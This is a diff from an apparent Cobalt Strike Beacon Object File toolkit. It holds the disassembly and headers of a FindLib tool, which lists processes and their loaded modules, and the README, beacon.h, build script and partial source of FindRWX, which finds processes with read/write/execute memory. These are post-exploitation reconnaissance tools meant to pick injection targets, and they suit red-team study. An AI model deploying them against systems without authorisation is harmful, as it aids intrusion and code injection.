+  000000000000038C: 48 83 7C 24 40 00  cmp         qword ptr [rsp+40h],0
+  0000000000000392: 74 75              je          0000000000000409
+  0000000000000394: 41 B9 04 01 00 00  mov         r9d,104h
+  000000000000039A: 4C 8D 84 24 80 01  lea         r8,[rsp+180h]
+                    00 00
+  00000000000003A2: 48 8B 54 24 40     mov         rdx,qword ptr [rsp+40h]
+  00000000000003A7: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  00000000000003AC: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$K32GetModuleBaseNameA]
+  00000000000003B2: 85 C0              test        eax,eax
+  00000000000003B4: 74 53              je          0000000000000409
+  00000000000003B6: 48 8D 94 24 80 01  lea         rdx,[rsp+180h]
+                    00 00
+  00000000000003BE: 48 8B 8C 24 A8 02  mov         rcx,qword ptr [rsp+2A8h]
+                    00 00
+  00000000000003C6: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$strcmp]
+  00000000000003CC: 85 C0              test        eax,eax
+  00000000000003CE: 75 39              jne         0000000000000409
+  00000000000003D0: 41 B9 04 01 00 00  mov         r9d,104h
+  00000000000003D6: 4C 8D 44 24 70     lea         r8,[rsp+70h]
+  00000000000003DB: 48 8B 54 24 40     mov         rdx,qword ptr [rsp+40h]
+  00000000000003E0: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  00000000000003E5: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$K32GetModuleFileNameExA]
+  00000000000003EB: 4C 8B 44 24 40     mov         r8,qword ptr [rsp+40h]
+  00000000000003F0: 48 8D 54 24 70     lea         rdx,[rsp+70h]
+  00000000000003F5: 48 8D 0D 00 00 00  lea         rcx,[$SG102248]
+                    00
+  00000000000003FC: E8 00 00 00 00     call        internal_printf
+  0000000000000401: C7 44 24 20 01 00  mov         dword ptr [rsp+20h],1
+                    00 00
+  0000000000000409: 48 8B 44 24 50     mov         rax,qword ptr [rsp+50h]
+  000000000000040E: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  0000000000000413: 48 03 C8           add         rcx,rax
+  0000000000000416: 48 8B C1           mov         rax,rcx
+  0000000000000419: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
+  000000000000041E: EB 66              jmp         0000000000000486
+  0000000000000420: 48 8B 44 24 38     mov         rax,qword ptr [rsp+38h]
+  0000000000000425: 48 39 44 24 40     cmp         qword ptr [rsp+40h],rax
+  000000000000042A: 75 45              jne         0000000000000471
+  000000000000042C: 48 83 7C 24 40 00  cmp         qword ptr [rsp+40h],0
+  0000000000000432: 74 3D              je          0000000000000471
+  0000000000000434: 41 B9 04 01 00 00  mov         r9d,104h
+  000000000000043A: 4C 8D 44 24 70     lea         r8,[rsp+70h]
+  000000000000043F: 48 8B 54 24 40     mov         rdx,qword ptr [rsp+40h]
+  0000000000000444: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  0000000000000449: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$K32GetModuleFileNameExA]
+  000000000000044F: 85 C0              test        eax,eax
+  0000000000000451: 74 1E              je          0000000000000471
+  0000000000000453: 4C 8D 44 24 70     lea         r8,[rsp+70h]
+  0000000000000458: 48 8B 54 24 40     mov         rdx,qword ptr [rsp+40h]
+  000000000000045D: 48 8D 0D 00 00 00  lea         rcx,[$SG102251]
+                    00
+  0000000000000464: E8 00 00 00 00     call        internal_printf
+  0000000000000469: C7 44 24 20 01 00  mov         dword ptr [rsp+20h],1
+                    00 00
+  0000000000000471: 48 8B 44 24 50     mov         rax,qword ptr [rsp+50h]
+  0000000000000476: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  000000000000047B: 48 03 C8           add         rcx,rax
+  000000000000047E: 48 8B C1           mov         rax,rcx
+  0000000000000481: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
+  0000000000000486: E9 C1 FE FF FF     jmp         000000000000034C
+  000000000000048B: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  0000000000000490: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$CloseHandle]
+  0000000000000496: 8B 44 24 20        mov         eax,dword ptr [rsp+20h]
+  000000000000049A: 48 81 C4 98 02 00  add         rsp,298h
+                    00
+  00000000000004A1: C3                 ret
+  00000000000004A2: CC                 int         3
+  00000000000004A3: CC                 int         3
+  00000000000004A4: CC                 int         3
+  00000000000004A5: CC                 int         3
+  00000000000004A6: CC                 int         3
+  00000000000004A7: CC                 int         3
+  00000000000004A8: CC                 int         3
+  00000000000004A9: CC                 int         3
+  00000000000004AA: CC                 int         3
+  00000000000004AB: CC                 int         3
+  00000000000004AC: CC                 int         3
+  00000000000004AD: CC                 int         3
+  00000000000004AE: CC                 int         3
+  00000000000004AF: CC                 int         3
+FindProcess:
+  00000000000004B0: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  00000000000004B5: 48 81 EC 78 02 00  sub         rsp,278h
+                    00
+  00000000000004BC: C7 44 24 30 00 00  mov         dword ptr [rsp+30h],0
+                    00 00
+  00000000000004C4: 48 C7 44 24 40 00  mov         qword ptr [rsp+40h],0
+                    00 00 00
+  00000000000004CD: C7 44 24 34 00 00  mov         dword ptr [rsp+34h],0
+                    00 00
+  00000000000004D5: C7 44 24 38 00 00  mov         dword ptr [rsp+38h],0
+                    00 00
+  00000000000004DD: 48 8D 0D 00 00 00  lea         rcx,[$SG102268]
+                    00
+  00000000000004E4: FF 15 00 00 00 00  call        qword ptr [__imp_GetModuleHandleA]
+  00000000000004EA: 48 8D 15 00 00 00  lea         rdx,[$SG102267]
+                    00
+  00000000000004F1: 48 8B C8           mov         rcx,rax
+  00000000000004F4: FF 15 00 00 00 00  call        qword ptr [__imp_GetProcAddress]
+  00000000000004FA: 48 89 44 24 48     mov         qword ptr [rsp+48h],rax
+  00000000000004FF: 48 8D 44 24 40     lea         rax,[rsp+40h]
+  0000000000000504: 48 89 44 24 20     mov         qword ptr [rsp+20h],rax
+  0000000000000509: 45 33 C9           xor         r9d,r9d
+  000000000000050C: 45 33 C0           xor         r8d,r8d
+  000000000000050F: BA 00 00 00 02     mov         edx,2000000h
+  0000000000000514: 48 8B 4C 24 40     mov         rcx,qword ptr [rsp+40h]
+  0000000000000519: FF 54 24 48        call        qword ptr [rsp+48h]
+  000000000000051D: 85 C0              test        eax,eax
+  000000000000051F: 0F 85 B0 00 00 00  jne         00000000000005D5
+  0000000000000525: 48 8B 4C 24 40     mov         rcx,qword ptr [rsp+40h]
+  000000000000052A: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessId]
+  0000000000000530: 89 44 24 30        mov         dword ptr [rsp+30h],eax
+  0000000000000534: 83 7C 24 30 04     cmp         dword ptr [rsp+30h],4
+  0000000000000539: 75 02              jne         000000000000053D
+  000000000000053B: EB C2              jmp         00000000000004FF
+  000000000000053D: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetCurrentProcessId]
+  0000000000000543: 48 63 4C 24 30     movsxd      rcx,dword ptr [rsp+30h]
+  0000000000000548: 48 3B C8           cmp         rcx,rax
+  000000000000054B: 75 02              jne         000000000000054F
+  000000000000054D: EB B0              jmp         00000000000004FF
+  000000000000054F: 83 7C 24 30 00     cmp         dword ptr [rsp+30h],0
+  0000000000000554: 74 15              je          000000000000056B
+  0000000000000556: 48 8B 94 24 80 02  mov         rdx,qword ptr [rsp+280h]
+                    00 00
+  000000000000055E: 8B 4C 24 30        mov         ecx,dword ptr [rsp+30h]
+  0000000000000562: E8 00 00 00 00     call        ListModules
+  0000000000000567: 89 44 24 34        mov         dword ptr [rsp+34h],eax
+  000000000000056B: 83 7C 24 34 00     cmp         dword ptr [rsp+34h],0
+  0000000000000570: 74 5E              je          00000000000005D0
+  0000000000000572: 41 B8 04 01 00 00  mov         r8d,104h
+  0000000000000578: 48 8D 54 24 50     lea         rdx,[rsp+50h]
+  000000000000057D: 48 8B 4C 24 40     mov         rcx,qword ptr [rsp+40h]
+  0000000000000582: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$K32GetProcessImageFileNameA]
+  0000000000000588: 48 8D 4C 24 50     lea         rcx,[rsp+50h]
+  000000000000058D: FF 15 00 00 00 00  call        qword ptr [__imp_SHLWAPI$PathFindFileNameA]
+  0000000000000593: 41 B8 04 01 00 00  mov         r8d,104h
+  0000000000000599: 48 8B D0           mov         rdx,rax
+  000000000000059C: 48 8D 8C 24 60 01  lea         rcx,[rsp+160h]
+                    00 00
+  00000000000005A4: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$strncpy]
+  00000000000005AA: 4C 8D 4C 24 50     lea         r9,[rsp+50h]
+  00000000000005AF: 44 8B 44 24 30     mov         r8d,dword ptr [rsp+30h]
+  00000000000005B4: 48 8D 94 24 60 01  lea         rdx,[rsp+160h]
+                    00 00
+  00000000000005BC: 48 8D 0D 00 00 00  lea         rcx,[$SG102273]
+                    00
+  00000000000005C3: E8 00 00 00 00     call        internal_printf
+  00000000000005C8: C7 44 24 38 01 00  mov         dword ptr [rsp+38h],1
+                    00 00
+  00000000000005D0: E9 2A FF FF FF     jmp         00000000000004FF
+  00000000000005D5: 8B 44 24 38        mov         eax,dword ptr [rsp+38h]
+  00000000000005D9: 48 81 C4 78 02 00  add         rsp,278h
+                    00
+  00000000000005E0: C3                 ret
+  00000000000005E1: CC                 int         3
+  00000000000005E2: CC                 int         3
+  00000000000005E3: CC                 int         3
+  00000000000005E4: CC                 int         3
+  00000000000005E5: CC                 int         3
+  00000000000005E6: CC                 int         3
+  00000000000005E7: CC                 int         3
+  00000000000005E8: CC                 int         3
+  00000000000005E9: CC                 int         3
+  00000000000005EA: CC                 int         3
+  00000000000005EB: CC                 int         3
+  00000000000005EC: CC                 int         3
+  00000000000005ED: CC                 int         3
+  00000000000005EE: CC                 int         3
+  00000000000005EF: CC                 int         3
+go:
+  00000000000005F0: 89 54 24 10        mov         dword ptr [rsp+10h],edx
+  00000000000005F4: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  00000000000005F9: 48 83 EC 58        sub         rsp,58h
+  00000000000005FD: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000605: C7 44 24 24 00 00  mov         dword ptr [rsp+24h],0
+                    00 00
+  000000000000060D: 44 8B 44 24 68     mov         r8d,dword ptr [rsp+68h]
+  0000000000000612: 48 8B 54 24 60     mov         rdx,qword ptr [rsp+60h]
+  0000000000000617: 48 8D 4C 24 38     lea         rcx,[rsp+38h]
+  000000000000061C: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataParse]
+  0000000000000622: 33 D2              xor         edx,edx
+  0000000000000624: 48 8D 4C 24 38     lea         rcx,[rsp+38h]
+  0000000000000629: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataExtract]
+  000000000000062F: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  0000000000000634: E8 00 00 00 00     call        bofstart
+  0000000000000639: 85 C0              test        eax,eax
+  000000000000063B: 75 05              jne         0000000000000642
+  000000000000063D: E9 EB 00 00 00     jmp         000000000000072D
+  0000000000000642: 48 8D 15 00 00 00  lea         rdx,[$SG102292]
+                    00
+  0000000000000649: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  000000000000064E: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$strcmp]
+  0000000000000654: 85 C0              test        eax,eax
+  0000000000000656: 75 40              jne         0000000000000698
+  0000000000000658: 48 8D 4C 24 38     lea         rcx,[rsp+38h]
+  000000000000065D: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataInt]
+  0000000000000663: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  0000000000000667: 44 8B 44 24 20     mov         r8d,dword ptr [rsp+20h]
+  000000000000066C: 48 8D 15 00 00 00  lea         rdx,[$SG102293]
+                    00
+  0000000000000673: 33 C9              xor         ecx,ecx
+  0000000000000675: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  000000000000067B: 48 8D 0D 00 00 00  lea         rcx,[$SG102294]
+                    00
+  0000000000000682: E8 00 00 00 00     call        internal_printf
+  0000000000000687: 33 D2              xor         edx,edx
+  0000000000000689: 8B 4C 24 20        mov         ecx,dword ptr [rsp+20h]
+  000000000000068D: E8 00 00 00 00     call        ListModules
+  0000000000000692: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  0000000000000696: EB 6E              jmp         0000000000000706
+  0000000000000698: 48 8D 15 00 00 00  lea         rdx,[$SG102297]
+                    00
+  000000000000069F: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  00000000000006A4: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$strcmp]
+  00000000000006AA: 85 C0              test        eax,eax
+  00000000000006AC: 75 42              jne         00000000000006F0
+  00000000000006AE: 33 D2              xor         edx,edx
+  00000000000006B0: 48 8D 4C 24 38     lea         rcx,[rsp+38h]
+  00000000000006B5: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataExtract]
+  00000000000006BB: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
+  00000000000006C0: 4C 8B 44 24 30     mov         r8,qword ptr [rsp+30h]
+  00000000000006C5: 48 8D 15 00 00 00  lea         rdx,[$SG102298]
+                    00
+  00000000000006CC: 33 C9              xor         ecx,ecx
+  00000000000006CE: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  00000000000006D4: 48 8D 0D 00 00 00  lea         rcx,[$SG102299]
+                    00
+  00000000000006DB: E8 00 00 00 00     call        internal_printf
+  00000000000006E0: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  00000000000006E5: E8 00 00 00 00     call        FindProcess
+  00000000000006EA: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  00000000000006EE: EB 16              jmp         0000000000000706
+  00000000000006F0: 48 8D 15 00 00 00  lea         rdx,[$SG102300]
+                    00
+  00000000000006F7: B9 0D 00 00 00     mov         ecx,0Dh
+  00000000000006FC: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  0000000000000702: 33 C0              xor         eax,eax
+  0000000000000704: EB 27              jmp         000000000000072D
+  0000000000000706: 83 7C 24 24 00     cmp         dword ptr [rsp+24h],0
+  000000000000070B: 75 14              jne         0000000000000721
+  000000000000070D: 48 8D 15 00 00 00  lea         rdx,[$SG102303]
+                    00
+  0000000000000714: B9 0D 00 00 00     mov         ecx,0Dh
+  0000000000000719: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  000000000000071F: EB 0A              jmp         000000000000072B
+  0000000000000721: B9 01 00 00 00     mov         ecx,1
+  0000000000000726: E8 00 00 00 00     call        printoutput
+  000000000000072B: 33 C0              xor         eax,eax
+  000000000000072D: 48 83 C4 58        add         rsp,58h
+  0000000000000731: C3                 ret
+
+  Summary
+
+          18 .bss
+          40 .chks64
+         2A2 .data
+          8C .debug$S
+          8F .drectve
+          48 .pdata
+         732 .text$mn
+          30 .xdata

+ 30 - 37
KIT/FindLib/findlib.h

@@ -1,37 +1,30 @@
-#include <windows.h>
-
-//ListModules
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
-WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
-DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleBaseNameA(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);
-
-
-//FindProcess
-typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
-DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
-
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
+#include <windows.h>
+
+//ListModules
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleBaseNameA(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);
+
+
+//FindProcess
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+WINBASEAPI char* WINAPI MSVCRT$strncpy(char* dest, const char* src, size_t n);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/FindLib/findlib.o


+ 14 - 14
KIT/FindRWX/README.md

@@ -1,14 +1,14 @@
-# FindRWX
-Find processes that already have memory allocated for read/write/execute (like most .NET processes).
-
-## Options
-* `<pid>`: specify target process ID to enumerate.
-
-## Usage
-* `findrwx <pid>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# FindRWX
+Find processes that already have memory allocated for read/write/execute (like most .NET processes).
+
+## Options
+* `<pid>`: specify target process ID to enumerate.
+
+## Usage
+* `findrwx <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/FindRWX/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 4 - 5
KIT/FindRWX/bofcompile.bat

@@ -1,5 +1,4 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findrwx.c
-move /y findrwx.obj findrwx.o
-dumpbin /disasm findrwx.o > findrwx.disasm
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findrwx.c
+move /y findrwx.obj findrwx.o

+ 137 - 161
KIT/FindRWX/findrwx.c

@@ -1,161 +1,137 @@
-#include <windows.h>
-#include <stdio.h>
-#include <strsafe.h>
-#include <winternl.h>
-#include "beacon.h"
-#include "findrwx.h"
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
